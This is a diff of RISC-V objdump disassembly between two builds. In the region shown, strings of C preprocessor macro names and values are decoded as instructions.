+    7b52:	37313537          	lui	a0,0x37313
+    7b56:	3135                	jal	7782 <__stack_size+0x6f82>
+    7b58:	3931                	jal	7774 <__stack_size+0x6f74>
+    7b5a:	3334                	fld	fa3,96(a4)
+    7b5c:	3038                	fld	fa4,96(s0)
+    7b5e:	3532                	fld	fa0,296(sp)
+    7b60:	3131                	jal	776c <__stack_size+0x6f6c>
+    7b62:	3930                	fld	fa2,112(a0)
+    7b64:	3432                	fld	fs0,296(sp)
+    7b66:	3334                	fld	fa3,96(a4)
+    7b68:	3938                	fld	fa4,112(a0)
+    7b6a:	3835                	jal	73a6 <__stack_size+0x6ba6>
+    7b6c:	3232                	fld	ft4,296(sp)
+    7b6e:	36343637          	lui	a2,0x36343
+    7b72:	3535                	jal	799e <__stack_size+0x719e>
+    7b74:	2d65                	jal	822c <__stack_size+0x7a2c>
+    7b76:	3934                	fld	fa3,112(a0)
+    7b78:	3636                	fld	fa2,360(sp)
+    7b7a:	004c                	addi	a1,sp,4
+    7b7c:	415f 5454 4952      	0x49525454415f
+    7b82:	5542                	lw	a0,48(sp)
+    7b84:	4554                	lw	a3,12(a0)
+    7b86:	6128                	flw	fa0,64(a0)
+    7b88:	7474                	flw	fa3,108(s0)
+    7b8a:	7372                	flw	ft6,60(sp)
+    7b8c:	2029                	jal	7b96 <__stack_size+0x7396>
+    7b8e:	5f5f 7461 7274      	0x727474615f5f
+    7b94:	6269                	lui	tp,0x1a
+    7b96:	7475                	lui	s0,0xffffd
+    7b98:	5f65                	li	t5,-7
+    7b9a:	205f 6128 7474      	0x74746128205f
+    7ba0:	7372                	flw	ft6,60(sp)
+    7ba2:	0029                	c.nop	10
+    7ba4:	494c                	lw	a1,20(a0)
+    7ba6:	4b4e                	lw	s6,208(sp)
+    7ba8:	4d5f 5841 3320      	0x332058414d5f
+    7bae:	3732                	fld	fa4,296(sp)
+    7bb0:	3736                	fld	fa4,360(sp)
+    7bb2:	5f00                	lw	s0,56(a4)
+    7bb4:	495f 544e 414d      	0x414d544e495f
+    7bba:	5f58                	lw	a4,60(a4)
     7bbc:	414d                	li	sp,19
     7bbe:	5f58                	lw	a4,60(a4)
-    7bc0:	205f 2e31 3937      	0x39372e31205f
-    7bc6:	33393637          	lui	a2,0x33393
-    7bca:	3331                	jal	78d6 <__stack_size+0x70d6>
-    7bcc:	3834                	fld	fa3,112(s0)
-    7bce:	3236                	fld	ft4,360(sp)
-    7bd0:	37353133          	0x37353133
-    7bd4:	3830                	fld	fa2,112(s0)
-    7bd6:	3431                	jal	75e2 <__stack_size+0x6de2>
-    7bd8:	3235                	jal	7504 <__stack_size+0x6d04>
-    7bda:	33323437          	lui	s0,0x33323
-    7bde:	37313337          	lui	t1,0x37313
-    7be2:	3430                	fld	fa2,104(s0)
-    7be4:	65373533          	0x65373533
-    7be8:	3830332b          	0x3830332b
-    7bec:	3646                	fld	fa2,112(sp)
-    7bee:	0034                	addi	a3,sp,8
-    7bf0:	5f5f 5f75 6f6c      	0x6f6c5f755f5f
-    7bf6:	676e                	flw	fa4,216(sp)
-    7bf8:	645f 6665 6e69      	0x6e696665645f
-    7bfe:	6465                	lui	s0,0x19
-    7c00:	0020                	addi	s0,sp,8
-    7c02:	5f5f 4e47 4355      	0x43554e475f5f
-    7c08:	494c                	lw	a1,20(a0)
-    7c0a:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-    7c0e:	4955                	li	s2,21
-    7c10:	544c                	lw	a1,44(s0)
-    7c12:	4e49                	li	t3,18
-    7c14:	565f 4141 494c      	0x494c4141565f
-    7c1a:	31205453          	0x31205453
-    7c1e:	5f00                	lw	s0,56(a4)
-    7c20:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    7c26:	54444957          	0x54444957
-    7c2a:	5f48                	lw	a0,60(a4)
-    7c2c:	205f 3233 5f00      	0x5f003233205f
-    7c32:	4552                	lw	a0,20(sp)
-    7c34:	4e45                	li	t3,17
-    7c36:	5f54                	lw	a3,60(a4)
-    7c38:	504d                	c.li	zero,-13
-    7c3a:	465f 4552 4c45      	0x4c454552465f
-    7c40:	5349                	li	t1,-14
-    7c42:	2854                	fld	fa3,144(s0)
-    7c44:	7470                	flw	fa2,108(s0)
-    7c46:	2972                	fld	fs2,280(sp)
-    7c48:	2820                	fld	fs0,80(s0)
-    7c4a:	7028                	flw	fa0,96(s0)
-    7c4c:	7274                	flw	fa3,100(a2)
-    7c4e:	2d29                	jal	8268 <__stack_size+0x7a68>
-    7c50:	5f3e                	lw	t5,236(sp)
-    7c52:	7266                	flw	ft4,120(sp)
-    7c54:	6565                	lui	a0,0x19
-    7c56:	696c                	flw	fa1,84(a0)
-    7c58:	00297473          	csrrci	s0,frm,18
-    7c5c:	5f5f 504f 4954      	0x4954504f5f5f
-    7c62:	494d                	li	s2,19
-    7c64:	455a                	lw	a0,148(sp)
-    7c66:	5f5f 3120 5f00      	0x5f0031205f5f
-    7c6c:	735f 6769 656e      	0x656e6769735f
+    7bc0:	205f 7830 6637      	0x66377830205f
+    7bc6:	6666                	flw	fa2,88(sp)
+    7bc8:	6666                	flw	fa2,88(sp)
+    7bca:	6666                	flw	fa2,88(sp)
+    7bcc:	6666                	flw	fa2,88(sp)
+    7bce:	6666                	flw	fa2,88(sp)
+    7bd0:	6666                	flw	fa2,88(sp)
+    7bd2:	6666                	flw	fa2,88(sp)
+    7bd4:	4c4c                	lw	a1,28(s0)
+    7bd6:	5f00                	lw	s0,56(a4)
+    7bd8:	725f 7165 6975      	0x69757165725f
+    7bde:	6572                	flw	fa0,28(sp)
+    7be0:	68735f73          	csrrwi	t5,0x687,6
+    7be4:	7261                	lui	tp,0xffff8
+    7be6:	6465                	lui	s0,0x19
+    7be8:	2e28                	fld	fa0,88(a2)
+    7bea:	2e2e                	fld	ft8,200(sp)
+    7bec:	2029                	jal	7bf6 <__stack_size+0x73f6>
+    7bee:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    7bf4:	615f 6e6e 746f      	0x746f6e6e615f
+    7bfa:	7461                	lui	s0,0xffff8
+    7bfc:	2865                	jal	7cb4 <__stack_size+0x74b4>
+    7bfe:	72616873          	csrrsi	a6,0x726,2
+    7c02:	6465                	lui	s0,0x19
+    7c04:	6c5f 636f 736b      	0x736b636f6c5f
+    7c0a:	725f 7165 6975      	0x69757165725f
+    7c10:	6572                	flw	fa0,28(sp)
+    7c12:	2864                	fld	fs1,208(s0)
+    7c14:	5f5f 4156 415f      	0x415f41565f5f
+    7c1a:	4752                	lw	a4,20(sp)
+    7c1c:	295f5f53          	0x295f5f53
+    7c20:	0029                	c.nop	10
+    7c22:	5f5f 4c46 3654      	0x36544c465f5f
+    7c28:	5f34                	lw	a3,120(a4)
+    7c2a:	4f4e                	lw	t5,208(sp)
+    7c2c:	4d52                	lw	s10,20(sp)
+    7c2e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    7c34:	3120                	fld	fs0,96(a0)
+    7c36:	372e                	fld	fa4,232(sp)
+    7c38:	3739                	jal	7b46 <__stack_size+0x7346>
+    7c3a:	3936                	fld	fs2,360(sp)
+    7c3c:	34333133          	0x34333133
+    7c40:	3638                	fld	fa4,104(a2)
+    7c42:	3332                	fld	ft6,296(sp)
+    7c44:	3531                	jal	7a50 <__stack_size+0x7250>
+    7c46:	31383037          	lui	zero,0x31383
+    7c4a:	3534                	fld	fa3,104(a0)
+    7c4c:	3732                	fld	fa4,296(sp)
+    7c4e:	3234                	fld	fa3,96(a2)
+    7c50:	31333733          	0x31333733
+    7c54:	33343037          	lui	zero,0x33343
+    7c58:	3735                	jal	7b84 <__stack_size+0x7384>
+    7c5a:	2b65                	jal	8212 <__stack_size+0x7a12>
+    7c5c:	46383033          	0x46383033
+    7c60:	3436                	fld	fs0,360(sp)
+    7c62:	5f00                	lw	s0,56(a4)
+    7c64:	755f 6c5f 6e6f      	0x6e6f6c5f755f
+    7c6a:	65645f67          	0x65645f67
+    7c6e:	6966                	flw	fs2,88(sp)
+    7c70:	656e                	flw	fa0,216(sp)
     7c72:	2064                	fld	fs1,192(s0)
-    7c74:	6e676973          	csrrsi	s2,0x6e6,14
-    7c78:	6465                	lui	s0,0x19
-    7c7a:	5f00                	lw	s0,56(a4)
-    7c7c:	535f 5053 465f      	0x465f5053535f
-    7c82:	4954524f          	fnmadd.s	ft4,fs0,fs5,fs1,unknown
-    7c86:	5946                	lw	s2,112(sp)
-    7c88:	4c5f 5645 4c45      	0x4c4556454c5f
-    7c8e:	3020                	fld	fs0,96(s0)
-    7c90:	5f00                	lw	s0,56(a4)
-    7c92:	5f535953          	0x5f535953
-    7c96:	4546                	lw	a0,80(sp)
-    7c98:	5441                	li	s0,-16
-    7c9a:	5255                	li	tp,-11
-    7c9c:	5345                	li	t1,-15
-    7c9e:	485f 0020 535f      	0x535f0020485f
-    7ca4:	42585f43          	fmadd.d	ft10,fa6,ft5,fs0,unknown
-    7ca8:	4c5f3553          	0x4c5f3553
-    7cac:	3650                	fld	fa2,168(a2)
-    7cae:	5f34                	lw	a3,120(a4)
-    7cb0:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    7cb4:	2034                	fld	fa3,64(s0)
-    7cb6:	535f 5f43 3756      	0x37565f43535f
-    7cbc:	4c5f 3650 5f34      	0x5f3436504c5f
-    7cc2:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    7cc6:	0034                	addi	a3,sp,8
-    7cc8:	424d                	li	tp,19
-    7cca:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
-    7cd0:	5841                	li	a6,-16
-    7cd2:	5f20                	lw	s0,120(a4)
-    7cd4:	424d                	li	tp,19
-    7cd6:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
-    7cdc:	5841                	li	a6,-16
-    7cde:	5f00                	lw	s0,56(a4)
-    7ce0:	5342                	lw	t1,48(sp)
-    7ce2:	5444                	lw	s1,44(s0)
-    7ce4:	5059                	c.li	zero,-10
-    7ce6:	5345                	li	t1,-15
-    7ce8:	445f 4645 4e49      	0x4e494645445f
-    7cee:	4445                	li	s0,17
-    7cf0:	0020                	addi	s0,sp,8
-    7cf2:	535f 5f43 4854      	0x48545f43535f
-    7cf8:	4552                	lw	a0,20(sp)
-    7cfa:	4441                	li	s0,16
-    7cfc:	505f 4f52 4543      	0x45434f52505f
-    7d02:	535f5353          	0x535f5353
-    7d06:	4148                	lw	a0,4(a0)
-    7d08:	4552                	lw	a0,20(sp)
-    7d0a:	2044                	fld	fs1,128(s0)
-    7d0c:	3834                	fld	fa3,112(s0)
-    7d0e:	5f00                	lw	s0,56(a4)
-    7d10:	325f4353          	0x325f4353
-    7d14:	565f 5245 4953      	0x49535245565f
-    7d1a:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    7d1e:	3132                	fld	ft2,296(sp)
-    7d20:	5f00                	lw	s0,56(a4)
-    7d22:	545f4353          	0x545f4353
-    7d26:	5248                	lw	a0,36(a2)
-    7d28:	4145                	li	sp,17
-    7d2a:	5f44                	lw	s1,60(a4)
-    7d2c:	4f52                	lw	t5,20(sp)
-    7d2e:	5542                	lw	a0,48(sp)
-    7d30:	505f5453          	0x505f5453
-    7d34:	4952                	lw	s2,20(sp)
-    7d36:	4e495f4f          	fnmadd.q	ft10,fs2,ft4,fs1,unknown
-    7d3a:	4548                	lw	a0,12(a0)
-    7d3c:	4952                	lw	s2,20(sp)
-    7d3e:	2054                	fld	fa3,128(s0)
-    7d40:	3231                	jal	764c <__stack_size+0x6e4c>
-    7d42:	0032                	c.slli	zero,0xc
-    7d44:	5f5f 6572 7473      	0x747365725f5f
-    7d4a:	6972                	flw	fs2,28(sp)
-    7d4c:	72207463          	bgeu	zero,sp,8474 <__stack_size+0x7c74>
-    7d50:	7365                	lui	t1,0xffff9
-    7d52:	7274                	flw	fa3,100(a2)
-    7d54:	6369                	lui	t1,0x1a
-    7d56:	0074                	addi	a3,sp,12
-    7d58:	5446                	lw	s0,112(sp)
-    7d5a:	5552                	lw	a0,52(sp)
-    7d5c:	434e                	lw	t1,208(sp)
-    7d5e:	5f20                	lw	s0,120(a4)
-    7d60:	5446                	lw	s0,112(sp)
-    7d62:	5552                	lw	a0,52(sp)
-    7d64:	434e                	lw	t1,208(sp)
-    7d66:	5f00                	lw	s0,56(a4)
-    7d68:	755f 735f 6f68      	0x6f68735f755f
-    7d6e:	7472                	flw	fs0,60(sp)
-    7d70:	645f 6665 6e69      	0x6e696665645f
-    7d76:	6465                	lui	s0,0x19
-    7d78:	0020                	addi	s0,sp,8
-    7d7a:	4955                	li	s2,21
-    7d7c:	544e                	lw	s0,240(sp)
-    7d7e:	4d5f3233          	0x4d5f3233
-    7d82:	5841                	li	a6,-16
-    7d84:	5f20                	lw	s0,120(a4)
-    7d86:	555f 4e49 3354      	0x33544e49555f
-    7d8c:	5f32                	lw	t5,44(sp)
-    7d8e:	414d                	li	sp,19
-    7d90:	5f58                	lw	a4,60(a4)
-    7d92:	005f 5f5f 504f      	0x504f5f5f005f
-    7d98:	4954                	lw	a3,20(a0)
-    7d9a:	494d                	li	s2,19
-    7d9c:	455a                	lw	a0,148(sp)
-    7d9e:	535f 5a49 5f45      	0x5f455a49535f
-    7da4:	205f 0031 5f5f      	0x5f5f0031205f
-    7daa:	656e                	flw	fa0,216(sp)
-    7dac:	6465                	lui	s0,0x19
-    7dae:	775f 6863 7261      	0x72616863775f
-    7db4:	745f 0020 5f5f      	0x5f5f0020745f
-    7dba:	657a6973          	csrrsi	s2,0x657,20
-    7dbe:	745f 5500 4e49      	0x4e495500745f
-    7dc4:	5f54                	lw	a3,60(a4)
-    7dc6:	454c                	lw	a1,12(a0)
-    7dc8:	5341                	li	t1,-16
-    7dca:	3354                	fld	fa3,160(a4)
-    7dcc:	5f32                	lw	t5,44(sp)
-    7dce:	414d                	li	sp,19
-    7dd0:	2058                	fld	fa4,128(s0)
-    7dd2:	5f5f 4955 544e      	0x544e49555f5f
-    7dd8:	4c5f 4145 5453      	0x545341454c5f
-    7dde:	4d5f3233          	0x4d5f3233
-    7de2:	5841                	li	a6,-16
-    7de4:	5f5f 5f00 6e5f      	0x6e5f5f005f5f
-    7dea:	756e6e6f          	jal	t3,ee540 <__stack_size+0xedd40>
-    7dee:	6c6c                	flw	fa1,92(s0)
-    7df0:	615f 6c6c 5f20      	0x5f206c6c615f
-    7df6:	615f 7474 6972      	0x69727474615f
-    7dfc:	7562                	flw	fa0,56(sp)
-    7dfe:	6574                	flw	fa3,76(a0)
-    7e00:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    7e06:	6f6e                	flw	ft10,216(sp)
-    7e08:	6e6e                	flw	ft8,216(sp)
-    7e0a:	6c75                	lui	s8,0x1d
-    7e0c:	5f6c                	lw	a1,124(a4)
-    7e0e:	295f 0029 5f46      	0x5f460029295f
-    7e14:	4e55                	li	t3,21
-    7e16:	4b4c                	lw	a1,20(a4)
-    7e18:	20535953          	0x20535953
-    7e1c:	0034                	addi	a3,sp,8
-    7e1e:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    7e22:	4f5f 5455 5550      	0x555054554f5f
-    7e28:	5f54                	lw	a3,60(a4)
-    7e2a:	4e45                	li	t3,17
-    7e2c:	3020                	fld	fs0,96(s0)
-    7e2e:	3078                	fld	fa4,224(s0)
-    7e30:	0038                	addi	a4,sp,8
-    7e32:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    7e38:	4349                	li	t1,18
-    7e3a:	415f 5143 525f      	0x525f5143415f
-    7e40:	4c45                	li	s8,17
-    7e42:	3420                	fld	fs0,104(s0)
-    7e44:	5f00                	lw	s0,56(a4)
-    7e46:	615f 6c6c 636f      	0x636f6c6c615f
-    7e4c:	615f 696c 6e67      	0x6e67696c615f
-    7e52:	7828                	flw	fa0,112(s0)
-    7e54:	2029                	jal	7e5e <__stack_size+0x765e>
-    7e56:	5f5f 7461 7274      	0x727474615f5f
-    7e5c:	6269                	lui	tp,0x1a
-    7e5e:	7475                	lui	s0,0xffffd
-    7e60:	5f65                	li	t5,-7
-    7e62:	285f 5f28 615f      	0x615f5f28285f
-    7e68:	6c6c                	flw	fa1,92(s0)
-    7e6a:	615f636f          	jal	t1,fec7e <__stack_size+0xfe47e>
-    7e6e:	696c                	flw	fa1,84(a0)
-    7e70:	5f5f6e67          	0x5f5f6e67
-    7e74:	7828                	flw	fa0,112(s0)
-    7e76:	2929                	jal	8290 <__stack_size+0x7a90>
-    7e78:	0029                	c.nop	10
-    7e7a:	545f 575f 4843      	0x4843575f545f
-    7e80:	5241                	li	tp,-16
-    7e82:	0020                	addi	s0,sp,8
-    7e84:	4e49                	li	t3,18
-    7e86:	5f54                	lw	a3,60(a4)
-    7e88:	4146                	lw	sp,80(sp)
-    7e8a:	32335453          	0x32335453
-    7e8e:	4d5f 4e49 2820      	0x28204e494d5f
-    7e94:	492d                	li	s2,11
-    7e96:	544e                	lw	s0,240(sp)
-    7e98:	465f 5341 3354      	0x33545341465f
-    7e9e:	5f32                	lw	t5,44(sp)
-    7ea0:	414d                	li	sp,19
-    7ea2:	2058                	fld	fa4,128(s0)
-    7ea4:	202d                	jal	7ece <__stack_size+0x76ce>
-    7ea6:	2931                	jal	82c2 <__stack_size+0x7ac2>
-    7ea8:	5f00                	lw	s0,56(a4)
-    7eaa:	5646                	lw	a2,112(sp)
-    7eac:	54495257          	0x54495257
-    7eb0:	5f45                	li	t5,-15
-    7eb2:	4e49                	li	t3,18
-    7eb4:	535f 5254 4145      	0x41455254535f
-    7eba:	494d                	li	s2,19
-    7ebc:	0031204f          	fnmadd.s	ft0,ft2,ft3,ft0,rdn
-    7ec0:	535f 5a49 5445      	0x54455a49535f
-    7ec6:	205f 5f00 4350      	0x43505f00205f
-    7ecc:	535f 4d59 494c      	0x494c4d59535f
-    7ed2:	4b4e                	lw	s6,208(sp)
-    7ed4:	4d5f 5841 3120      	0x312058414d5f
-    7eda:	0034                	addi	a3,sp,8
-    7edc:	5f5f 4e49 3854      	0x38544e495f5f
-    7ee2:	545f 5059 5f45      	0x5f455059545f
-    7ee8:	205f 6973 6e67      	0x6e676973205f
-    7eee:	6465                	lui	s0,0x19
-    7ef0:	6320                	flw	fs0,64(a4)
-    7ef2:	6168                	flw	fa0,68(a0)
-    7ef4:	0072                	c.slli	zero,0x1c
-    7ef6:	505f 5f43 4456      	0x44565f43505f
-    7efc:	5349                	li	t1,-14
-    7efe:	4241                	li	tp,16
-    7f00:	454c                	lw	a1,12(a0)
-    7f02:	3820                	fld	fs0,112(s0)
-    7f04:	5f00                	lw	s0,56(a4)
-    7f06:	475f 4343 485f      	0x485f4343475f
-    7f0c:	5641                	li	a2,-16
-    7f0e:	5f45                	li	t5,-15
-    7f10:	434e5953          	0x434e5953
-    7f14:	435f 4d4f 4150      	0x41504d4f435f
-    7f1a:	4552                	lw	a0,20(sp)
-    7f1c:	415f 444e 535f      	0x535f444e415f
-    7f22:	5f504157          	0x5f504157
-    7f26:	2034                	fld	fa3,64(s0)
-    7f28:	0031                	c.nop	12
-    7f2a:	4c50                	lw	a2,28(s0)
-    7f2c:	4349                	li	t1,18
-    7f2e:	455f 5f4e 464f      	0x464f5f4e455f
-    7f34:	5346                	lw	t1,112(sp)
-    7f36:	5445                	li	s0,-15
-    7f38:	3020                	fld	fs0,96(s0)
-    7f3a:	3278                	fld	fa4,224(a2)
-    7f3c:	3030                	fld	fa2,96(s0)
-    7f3e:	0030                	addi	a2,sp,8
-    7f40:	5f5f 6968 6464      	0x646469685f5f
-    7f46:	6e65                	lui	t3,0x19
-    7f48:	5f20                	lw	s0,120(a4)
-    7f4a:	615f 7474 6972      	0x69727474615f
-    7f50:	7562                	flw	fa0,56(sp)
-    7f52:	6574                	flw	fa3,76(a0)
-    7f54:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    7f5a:	6976                	flw	fs2,92(sp)
-    7f5c:	69626973          	csrrsi	s2,0x696,4
-    7f60:	696c                	flw	fa1,84(a0)
-    7f62:	7974                	flw	fa3,116(a0)
-    7f64:	5f5f 2228 6968      	0x696822285f5f
-    7f6a:	6464                	flw	fs1,76(s0)
-    7f6c:	6e65                	lui	t3,0x19
-    7f6e:	2922                	fld	fs2,8(sp)
-    7f70:	2929                	jal	838a <__stack_size+0x7b8a>
-    7f72:	6600                	flw	fs0,8(a2)
-    7f74:	6f72                	flw	ft10,28(sp)
-    7f76:	6570                	flw	fa2,76(a0)
-    7f78:	286e                	fld	fa6,216(sp)
-    7f7a:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
-    7f80:	6569                	lui	a0,0x1a
-    7f82:	5f2c                	lw	a1,120(a4)
-    7f84:	665f 296e 6620      	0x6620296e665f
-    7f8a:	6e75                	lui	t3,0x1d
-    7f8c:	6e65706f          	j	5f672 <__stack_size+0x5ee72>
-    7f90:	5f28                	lw	a0,120(a4)
-    7f92:	635f 6f6f 696b      	0x696b6f6f635f
-    7f98:	2c65                	jal	8250 <__stack_size+0x7a50>
-    7f9a:	5f20                	lw	s0,120(a4)
-    7f9c:	665f 2c6e 2820      	0x28202c6e665f
-    7fa2:	6e69                	lui	t3,0x1a
-    7fa4:	2074                	fld	fa3,192(s0)
-    7fa6:	2a28                	fld	fa0,80(a2)
-    7fa8:	2829                	jal	7fc2 <__stack_size+0x77c2>
-    7faa:	2929                	jal	83c4 <__stack_size+0x7bc4>
-    7fac:	2c30                	fld	fa2,88(s0)
-    7fae:	2820                	fld	fs0,80(s0)
-    7fb0:	7066                	flw	ft0,120(sp)
-    7fb2:	745f736f          	jal	t1,ffef6 <__stack_size+0xff6f6>
-    7fb6:	2820                	fld	fs0,80(s0)
-    7fb8:	292a                	fld	fs2,136(sp)
-    7fba:	2928                	fld	fa0,80(a0)
-    7fbc:	3029                	jal	77c6 <__stack_size+0x6fc6>
-    7fbe:	202c                	fld	fa1,64(s0)
-    7fc0:	6928                	flw	fa0,80(a0)
-    7fc2:	746e                	flw	fs0,248(sp)
-    7fc4:	2820                	fld	fs0,80(s0)
-    7fc6:	292a                	fld	fs2,136(sp)
-    7fc8:	2928                	fld	fa0,80(a0)
-    7fca:	3029                	jal	77d4 <__stack_size+0x6fd4>
-    7fcc:	0029                	c.nop	10
-    7fce:	535f 4454 4544      	0x45444454535f
-    7fd4:	5f46                	lw	t5,112(sp)
-    7fd6:	5f48                	lw	a0,60(a4)
-    7fd8:	0020                	addi	s0,sp,8
-    7fda:	5f58                	lw	a4,60(a4)
-    7fdc:	31204b4f          	fnmadd.s	fs6,ft0,fs2,ft6,rmm
-    7fe0:	5f00                	lw	s0,56(a4)
-    7fe2:	5441                	li	s0,-16
-    7fe4:	4946                	lw	s2,80(sp)
-    7fe6:	454c                	lw	a1,12(a0)
-    7fe8:	535f 554f 4352      	0x4352554f535f
-    7fee:	2045                	jal	808e <__stack_size+0x788e>
-    7ff0:	0031                	c.nop	12
-    7ff2:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    7ff6:	425f 5341 2045      	0x20455341425f
-    7ffc:	7830                	flw	fa2,112(s0)
-    7ffe:	3031                	jal	780a <__stack_size+0x700a>
-    8000:	3130                	fld	fa2,96(a0)
-    8002:	3032                	fld	ft0,296(sp)
-    8004:	3030                	fld	fa2,96(s0)
-    8006:	5f00                	lw	s0,56(a4)
-    8008:	735f 6966 656c      	0x656c6966735f
+    7c74:	5f00                	lw	s0,56(a4)
+    7c76:	475f 554e 4c43      	0x4c43554e475f
+    7c7c:	4b49                	li	s6,18
+    7c7e:	5f45                	li	t5,-15
+    7c80:	5542                	lw	a0,48(sp)
+    7c82:	4c49                	li	s8,18
+    7c84:	4954                	lw	a3,20(a0)
+    7c86:	5f4e                	lw	t5,240(sp)
+    7c88:	4156                	lw	sp,84(sp)
+    7c8a:	4c41                	li	s8,16
+    7c8c:	5349                	li	t1,-14
+    7c8e:	2054                	fld	fa3,128(s0)
+    7c90:	0031                	c.nop	12
+    7c92:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    7c98:	575f 4449 4854      	0x48544449575f
+    7c9e:	5f5f 3320 0032      	0x3233205f5f
+    7ca4:	525f 4545 544e      	0x544e4545525f
+    7caa:	4d5f 5f50 5246      	0x52465f504d5f
+    7cb0:	4545                	li	a0,17
+    7cb2:	494c                	lw	a1,20(a0)
+    7cb4:	70285453          	0x70285453
+    7cb8:	7274                	flw	fa3,100(a2)
+    7cba:	2029                	jal	7cc4 <__stack_size+0x74c4>
+    7cbc:	2828                	fld	fa0,80(s0)
+    7cbe:	7470                	flw	fa2,108(s0)
+    7cc0:	2972                	fld	fs2,280(sp)
+    7cc2:	3e2d                	jal	77fc <__stack_size+0x6ffc>
+    7cc4:	665f 6572 6c65      	0x6c656572665f
+    7cca:	7369                	lui	t1,0xffffa
+    7ccc:	2974                	fld	fa3,208(a0)
+    7cce:	5f00                	lw	s0,56(a4)
+    7cd0:	4f5f 5450 4d49      	0x4d4954504f5f
+    7cd6:	5a49                	li	s4,-14
+    7cd8:	5f45                	li	t5,-15
+    7cda:	205f 0031 5f5f      	0x5f5f0031205f
+    7ce0:	6e676973          	csrrsi	s2,0x6e6,14
+    7ce4:	6465                	lui	s0,0x19
+    7ce6:	7320                	flw	fs0,96(a4)
+    7ce8:	6769                	lui	a4,0x1a
+    7cea:	656e                	flw	fa0,216(sp)
+    7cec:	0064                	addi	s1,sp,12
+    7cee:	5f5f 5353 5f50      	0x5f5053535f5f
+    7cf4:	4f46                	lw	t5,80(sp)
+    7cf6:	5452                	lw	s0,52(sp)
+    7cf8:	4649                	li	a2,18
+    7cfa:	5f59                	li	t5,-10
+    7cfc:	454c                	lw	a1,12(a0)
+    7cfe:	4556                	lw	a0,84(sp)
+    7d00:	204c                	fld	fa1,128(s0)
+    7d02:	0030                	addi	a2,sp,8
+    7d04:	535f 5359 465f      	0x465f5359535f
+    7d0a:	4145                	li	sp,17
+    7d0c:	5554                	lw	a3,44(a0)
+    7d0e:	4552                	lw	a0,20(sp)
+    7d10:	20485f53          	0x20485f53
+    7d14:	5f00                	lw	s0,56(a4)
+    7d16:	495f 544e 465f      	0x465f544e495f
+    7d1c:	5341                	li	t1,-16
+    7d1e:	3854                	fld	fa3,176(s0)
+    7d20:	575f 4449 4854      	0x48544449575f
+    7d26:	5f5f 3320 0032      	0x3233205f5f
+    7d2c:	535f 5f43 4258      	0x42585f43535f
+    7d32:	4c5f3553          	0x4c5f3553
+    7d36:	3650                	fld	fa2,168(a2)
+    7d38:	5f34                	lw	a3,120(a4)
+    7d3a:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7d3e:	2034                	fld	fa3,64(s0)
+    7d40:	535f 5f43 3756      	0x37565f43535f
+    7d46:	4c5f 3650 5f34      	0x5f3436504c5f
+    7d4c:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7d50:	0034                	addi	a3,sp,8
+    7d52:	424d                	li	tp,19
+    7d54:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
+    7d5a:	5841                	li	a6,-16
+    7d5c:	5f20                	lw	s0,120(a4)
+    7d5e:	424d                	li	tp,19
+    7d60:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
+    7d66:	5841                	li	a6,-16
+    7d68:	5000                	lw	s0,32(s0)
+    7d6a:	5254                	lw	a3,36(a2)
+    7d6c:	4944                	lw	s1,20(a0)
+    7d6e:	4646                	lw	a2,80(sp)
+    7d70:	4d5f 4e49 5f00      	0x5f004e494d5f
+    7d76:	545f4353          	0x545f4353
+    7d7a:	5248                	lw	a0,36(a2)
+    7d7c:	4145                	li	sp,17
+    7d7e:	5f44                	lw	s1,60(a4)
+    7d80:	5250                	lw	a2,36(a2)
+    7d82:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
+    7d86:	48535f53          	0x48535f53
+    7d8a:	5241                	li	tp,-16
+    7d8c:	4445                	li	s0,17
+    7d8e:	3420                	fld	fs0,104(s0)
+    7d90:	0038                	addi	a4,sp,8
+    7d92:	535f 5f43 5f32      	0x5f325f43535f
+    7d98:	4556                	lw	a0,84(sp)
+    7d9a:	5352                	lw	t1,52(sp)
+    7d9c:	4f49                	li	t5,18
+    7d9e:	204e                	fld	ft0,208(sp)
+    7da0:	3231                	jal	76ac <__stack_size+0x6eac>
+    7da2:	0031                	c.nop	12
+    7da4:	535f 5f43 4854      	0x48545f43535f
+    7daa:	4552                	lw	a0,20(sp)
+    7dac:	4441                	li	s0,16
+    7dae:	525f 424f 5355      	0x5355424f525f
+    7db4:	5f54                	lw	a3,60(a4)
+    7db6:	5250                	lw	a2,36(a2)
+    7db8:	4f49                	li	t5,18
+    7dba:	495f 484e 5245      	0x5245484e495f
+    7dc0:	5449                	li	s0,-14
+    7dc2:	3120                	fld	fs0,96(a0)
+    7dc4:	3232                	fld	ft4,296(sp)
+    7dc6:	5f00                	lw	s0,56(a4)
+    7dc8:	725f 7365 7274      	0x72747365725f
+    7dce:	6369                	lui	t1,0x1a
+    7dd0:	2074                	fld	fa3,192(s0)
+    7dd2:	6572                	flw	fa0,28(sp)
+    7dd4:	69727473          	csrrci	s0,0x697,4
+    7dd8:	46007463          	bgeu	zero,zero,8240 <__stack_size+0x7a40>
+    7ddc:	5254                	lw	a3,36(a2)
+    7dde:	4e55                	li	t3,21
+    7de0:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    7de4:	5254                	lw	a3,36(a2)
+    7de6:	4e55                	li	t3,21
+    7de8:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
+    7dec:	5f75                	li	t5,-3
+    7dee:	726f6873          	csrrsi	a6,0x726,30
+    7df2:	5f74                	lw	a3,124(a4)
